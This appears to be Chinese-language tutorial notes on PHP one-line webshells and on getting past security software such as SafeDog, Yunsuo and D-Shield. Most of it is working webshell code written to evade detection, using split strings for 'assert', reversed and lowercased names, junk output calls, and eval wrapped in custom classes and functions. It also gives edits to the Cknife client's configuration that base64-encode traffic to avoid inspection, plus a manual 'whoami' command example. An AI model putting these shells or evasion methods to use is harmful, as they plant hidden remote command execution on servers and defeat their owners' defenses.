针对PHP与MYSQL架构
一句话木马
1 | <?php @eval($_POST['key']);?> |
安全狗,云锁,D盾属于软件级防护
查杀规则
静态文本查杀
对扫描目录中的文本中的内容进行检测,做关键字匹配
动态执行查杀
在
webshell执行,进行数据传输时进行查杀将可疑文件放入沙箱模拟运行,根据运行状态和结果来判断文件是否安全
规则绕过
静态文本查杀
大小写转换
strtolower()文本颠倒
strrev()文本分割
使用点分割:
.1
2
3
4<?php
$a="ass"."ert";
$a($_POST['key']);
?>使用数组分割:
1
2
3
4
5<?php
$a=array("ass","ert");
$a=$a[0].$a[1];
$a($_POST['key']);
?>
干扰函数
echo()print()print_r()var_dump()1
2
3
4
5
6
7<?php
$a=array("Tre","sSA");
$a=$a[0].$a[1];
$b=strtolower($a);
print_r($c=strrev($b));
echo(var_dump($c($_POST['key'])));
?>加密
针对
assert()或eval()做先加密,后解密base64_decode()base64_encode()语言特征
自定义类
class1
2
3
4
5
6
7
8
9<?php
class KKey{
public function gkey($a){
@eval($a);
}
}
$key = new KKey;
$key -> gkey($_POST['key']);
?>自定义函数
function1
2
3
4
5
6<?php
function gkey($a){
@eval($a);
}
gkey($_POST['key']);
?>函数替换
使用
assert()代替eval()
动态执行查杀
安全狗会检测Cknife传输方式进行查杀
加密传输
修改
Cknife配置文件Config.ini1
2
3PHP_MAKE=@eval(base64_decode($_POST[action]));
将上方变量的值进行base64加密修改一句话木马
1
2
3
4
5
6<?php
function gkey($a){
@eval($a);
}
gkey(base64_decode($_POST['key']));
?>手工利用时
1
2
3key=eval(system("whoami"));
将上方变量的值进行base64加密手工利用过程
将
key值编码后传入到一句话木马文件,一句话木马文件进行解码后执行。因进行了编码,安全狗在传输过程中无法检测查杀Cknife利用过程Cknife配置文件中将传输方式进行了编码,即PHP_MAKE部分。此部分即为传送给一句话木马文件的key,一句话木马文件进行解码后执行。Cknife配置文件中PHP_MAKE为一句话木马中的参数keyPHP_INDEX为Cknife中的action,用于获取目标文件目录等操作
改变传输特征